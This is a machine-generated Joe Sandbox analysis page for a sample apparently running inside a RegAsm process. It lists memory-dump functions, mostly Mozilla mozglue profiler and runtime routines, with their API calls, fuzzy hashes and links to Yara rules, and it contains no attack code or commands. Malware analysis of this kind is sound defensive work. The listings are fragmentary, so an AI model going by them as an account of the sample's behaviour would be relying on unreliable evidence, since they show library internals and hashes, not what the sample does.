Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free
String ID:
API String ID: 3699359333-0
Opcode ID: 3f804f3d5aa913aa8e4e81452803125259b028d2f24248dbce5b8bddf0657698
Instruction ID: eef9179d7aac55aeec1ceff39fec16c7ce172cb7790e666a33991be3c8b94c8c
Opcode Fuzzy Hash: 3f804f3d5aa913aa8e4e81452803125259b028d2f24248dbce5b8bddf0657698
Instruction Fuzzy Hash: 4B21FF70A042948BDB009F69C8847AFBBBDEF47348F080439D9126BB41D775E909DBD2

Function 6CBA7B10 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CBA7B51
__aulldiv.LIBCMT ref: 6CBA7B6C
__aulldiv.LIBCMT ref: 6CBA7B8B
__aulldiv.LIBCMT ref: 6CBA7BB1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction ID: ea27035b333c8f62770afcae1bd90c30921053afc83740fb559877b236418039
Opcode Fuzzy Hash: d00a51c4c5f930f9caa17efa13413b4b30e460f116377f5c22957434e894d04c
Instruction Fuzzy Hash: 4F2151B1B006095FD724DFADCC81EAB77F8EB85714F10853DE45AD7750E674A8048BA0

Function 6CBA7930 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CB5BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CBA7A3F), ref: 6CB5BF11
Part of subcall function 6CB5BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CBA7A3F), ref: 6CB5BF5D
Part of subcall function 6CB5BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CBA7A3F), ref: 6CB5BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6CBA7968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6CBAA264,6CBAA264), ref: 6CBA799A

Part of subcall function 6CB59830: free.MOZGLUE(?,?,?,6CBA7ABE), ref: 6CB5985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CBA79E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CBA79E8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: ea8ef35b54ca03d91f492dd358b185069d5a3a6fc1787b33c82bec17ab4d17f6
Instruction ID: 51d458cca135bf98ad741f42184acb868ac9a2acf0c1ef9b1fe7b8c833184fb4
Opcode Fuzzy Hash: ea8ef35b54ca03d91f492dd358b185069d5a3a6fc1787b33c82bec17ab4d17f6
Instruction Fuzzy Hash: 37219D757043449FCB04DF18D885AAEBBF9FF89310F40886DE84A87361CB30A909CB92

Function 6CBA7A10 Relevance: 6.1, APIs: 4, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CB5BF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CBA7A3F), ref: 6CB5BF11
Part of subcall function 6CB5BF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CBA7A3F), ref: 6CB5BF5D
Part of subcall function 6CB5BF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CBA7A3F), ref: 6CB5BF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000013,00000000), ref: 6CBA7A48
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_K@Z.MSVCP140(?,?), ref: 6CBA7A7A

Part of subcall function 6CB59830: free.MOZGLUE(?,?,?,6CBA7ABE), ref: 6CB5985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6CBA7AC0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CBA7AC8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID:
API String ID: 3421697164-0
Opcode ID: d1a7cba03716d8411fc5a6fc979cf0d2c788e3b7ac7ca8c48c24f21556cf1447
Instruction ID: 7e48d6c3c8f4c8bf02ee3b1ce19087b45dd393e7489f7350f9fb5758565c7f4e
Opcode Fuzzy Hash: d1a7cba03716d8411fc5a6fc979cf0d2c788e3b7ac7ca8c48c24f21556cf1447
Instruction Fuzzy Hash: 5E215E756043549FCB14DF18D895AAEBBA9FF89314F40486CE84697361CB30A909CBD2

Function 6CBAAAE0 Relevance: 6.1, APIs: 4, Instructions: 59threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBAAAF8
EnterCriticalSection.KERNEL32(6CBCF770,?,6CB6BF9F), ref: 6CBAAB08
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,6CB6BF9F), ref: 6CBAAB39
LeaveCriticalSection.KERNEL32(6CBCF770,?,?,?,?,?,?,?,?,6CB6BF9F), ref: 6CBAAB6B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$CurrentEnterLeaveThread_stricmp
String ID:
API String ID: 1951318356-0
Opcode ID: ad87cf8b7f4e0dbaae512b8cdbf02cbc996e9dabca60463dd56859520177b1f7
Instruction ID: fb96356be1d36e73e67408203be5843b868f321e7b4da8d4988cb6cd740a3368
Opcode Fuzzy Hash: ad87cf8b7f4e0dbaae512b8cdbf02cbc996e9dabca60463dd56859520177b1f7
Instruction Fuzzy Hash: 141130B5A0024A9FCF00DFE8D88899F7BB9EF493147040469E54597701E734EA19CFB1

Function 6CB5B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB5B4F5
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB5B502
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB5B542
free.MOZGLUE(?), ref: 6CB5B578

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 149f4ca0c6fc96c81f62ea3398c629176a9fcb21d2c54fe9fb42cae70fe270d7
Instruction ID: 4f138887c6ab39a4dbbf03ea45f21b265a63aa76a711ac3afa0054fb9d01e45d
Opcode Fuzzy Hash: 149f4ca0c6fc96c81f62ea3398c629176a9fcb21d2c54fe9fb42cae70fe270d7
Instruction Fuzzy Hash: 59110331A04B81C7D7128F29D400766B3B0FFDA319F50970AE84953E02EBB4B6E4C791

Function 6CB83DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CB4F20E,?), ref: 6CB83DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CB4F20E,00000000,?), ref: 6CB83DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB83E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB83E0E

Part of subcall function 6CB7CC00: GetCurrentProcess.KERNEL32(?,?,6CB431A7), ref: 6CB7CC0D
Part of subcall function 6CB7CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CB431A7), ref: 6CB7CC16

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d7ec64d27902d15d11f422637e760605bd6cd04eac4b52839ea7944ffc6c3f67
Instruction ID: e922563f1c78b6e9203d7ff18ac131c86bd7a890862fba13a69bbde93ec59b94
Opcode Fuzzy Hash: d7ec64d27902d15d11f422637e760605bd6cd04eac4b52839ea7944ffc6c3f67
Instruction Fuzzy Hash: FDF01CB1A00208BBEB00AB54DC81DAF376DEB4A629F040024FE0857741DA35BE6986F7

Function 6CB92050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB9205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6CB9201B,?,?,?,?,?,?,?,6CB91F8F,?,?), ref: 6CB92064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB9208E
free.MOZGLUE(?,?,?,00000000,?,6CB9201B,?,?,?,?,?,?,?,6CB91F8F,?,?), ref: 6CB920A3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: c3017217cc5c5f77b5392fe670f461fc4735db8a812900f260003b60e6878d3a
Instruction ID: ec248f9df466fbb177f66d6c2149c359bee92a5b533073284be4ce33b3e4ed6e
Opcode Fuzzy Hash: c3017217cc5c5f77b5392fe670f461fc4735db8a812900f260003b60e6878d3a
Instruction Fuzzy Hash: 87F0E9755007109BC7118F16D88875FB7FCEF8B324F10052AE54687B11C772A905CB96

Function 6CB8EB00 Relevance: 6.0, APIs: 4, Instructions: 30threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB8EB11
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB8EB3C
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8EB5B
GetCurrentThreadId.KERNEL32 ref: 6CB8EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB8EBAC
GetCurrentThreadId.KERNEL32 ref: 6CB8EBC1
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000), ref: 6CB8EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB8EBE5
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8,00000000), ref: 6CB8EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB8EC46
CloseHandle.KERNEL32(?), ref: 6CB8EC55
free.MOZGLUE(00000000), ref: 6CB8EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CB8EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB8EA9B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$CurrentThread$AcquireRelease$?profiler_init@baseprofiler@mozilla@@CloseHandleObjectSingleWait_getpidfreememset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 2885072826-1186885292
Opcode ID: c2a76a785a81c6e2b494834c608213fad9987c2fe339bfa1d24ce6f7d8748c2c
Instruction ID: 8e0a8164dae5e659a7a63c573daf43220d96c74210d209306ab3ad9f9c5b7f1a
Opcode Fuzzy Hash: c2a76a785a81c6e2b494834c608213fad9987c2fe339bfa1d24ce6f7d8748c2c
Instruction Fuzzy Hash: B6F0EC35301290EBEB005F99DC04B9D7774EB8A756F000465F905D3740C7785645C7AA

Function 6CB920B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB920B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CB7FBD1), ref: 6CB920C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CB7FBD1), ref: 6CB920DA
free.MOZGLUE(00000000,?,6CB7FBD1), ref: 6CB920F1

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: afd6c4a0589d75ce61cd52a1b1753887e078ed9c2b4d211a79cd12adce55b184
Instruction ID: 725008a3db466451eff98c54dafffaea5eae2b5f3b5efe57cff3bf4188572ede
Opcode Fuzzy Hash: afd6c4a0589d75ce61cd52a1b1753887e078ed9c2b4d211a79cd12adce55b184
Instruction Fuzzy Hash: 7FE0E531A006258BC7209F25D80854EBBFDEF8B314B00062AE506C3B00D775A64A8AD6

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(0141AB20,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000003.00000002.1382432761.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1382432761.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000470000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1382432761.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction ID: 97456884ad0b6ef18ab359dcde09f3ca8448260d7b8d43e592fbf70d203c581b
Opcode Fuzzy Hash: 08d1e7ffdf07a555ae796108eeb1039241f12d65277624adf39f2af9d8b264a3
Instruction Fuzzy Hash: 5CF06574E80704BBE7109FE0EC09F2D7B76EB44701F109159FA05AA2D0C77454028B91

Function 6CB985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB985D3

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB98725

Strings

map/set<T> too long, xrefs: 6CB98720

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 656a7351939f37d497eaae0f500725a8bebb779840339b14a93d70398e1766fd
Instruction ID: fa6d94b8c1403eedaa5f235437fdebea594040c04d097cc62973cda27ea6c50e
Opcode Fuzzy Hash: 656a7351939f37d497eaae0f500725a8bebb779840339b14a93d70398e1766fd
Instruction Fuzzy Hash: ED5166746006818FD701CF18C084A5ABBF1FF5A318F18C1AAD8599FB62C736E885CF92

Function 6CB4BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CB4BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4BE8F

Strings

0, xrefs: 6CB4BE5B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0447b98ed2a2a4a68a7042396a146cc639126148180d726dcc597b82c640b317
Instruction ID: 6a25805fd92db19a1dddcd6833c3844d6ae3c220e6ded110c5c435894820a93d
Opcode Fuzzy Hash: 0447b98ed2a2a4a68a7042396a146cc639126148180d726dcc597b82c640b317
Instruction Fuzzy Hash: 7D41AD7194DB85CFC701CF28C481A9FB7F4EF8A348F008A5DFA85A7615D730A9499B82

Function 6CB49A20 Relevance: 5.3, APIs: 4, Instructions: 338COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB49B2C
memcpy.VCRUNTIME140(6CB499CF,00000000,?), ref: 6CB49BB6
memcpy.VCRUNTIME140(?,?,?), ref: 6CB49BF8
memcpy.VCRUNTIME140(?,?,?), ref: 6CB49DE4

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 39fc27ef9caf85d3364e00b5e67889a9f865be18bf1b95defbf2286f96511817
Instruction ID: deb31a86990ea1ce07f1e9a8c8056bc4aa1a6341fd58c36f07f3bdc2027d9fe3
Opcode Fuzzy Hash: 39fc27ef9caf85d3364e00b5e67889a9f865be18bf1b95defbf2286f96511817
Instruction Fuzzy Hash: F0D18971E0424A9FCB04CFA9C980AAEBBF6FF88314F188529E945A7744D731ED05DB90

Function 6CB90A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6CB537F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6CBA145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6CB5380A

Part of subcall function 6CB88DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6CBA06E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6CB88DCC

Part of subcall function 6CB90B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6CB9138F,?,?,?), ref: 6CB90B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6CB9138F,?,?,?), ref: 6CB90B27
free.MOZGLUE(?,?,?,?,?,6CB9138F,?,?,?), ref: 6CB90B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6CB90AB5

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 942a5a30ff91f97ea7efb47625e3c4e4e6fd5f8175d9607baae54578d6c21b0d
Instruction ID: 43ceacff7b31146764c0f4741a05a582818fece8a296bfebd49447d6f87cd853
Opcode Fuzzy Hash: 942a5a30ff91f97ea7efb47625e3c4e4e6fd5f8175d9607baae54578d6c21b0d
Instruction Fuzzy Hash: 9021A375B002C59BDB04DF94D451ABFB379EF8A708F14043DD8159BB41DB70AA44CBA2

Function 6CB4F180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6CB4F19B

Part of subcall function 6CB6D850: EnterCriticalSection.KERNEL32(?), ref: 6CB6D904
Part of subcall function 6CB6D850: LeaveCriticalSection.KERNEL32(?), ref: 6CB6D971
Part of subcall function 6CB6D850: memset.VCRUNTIME140(?,00000000,?), ref: 6CB6D97B

mozalloc_abort.MOZGLUE(?), ref: 6CB4F209

Strings

d, xrefs: 6CB4F1F5

Memory Dump Source

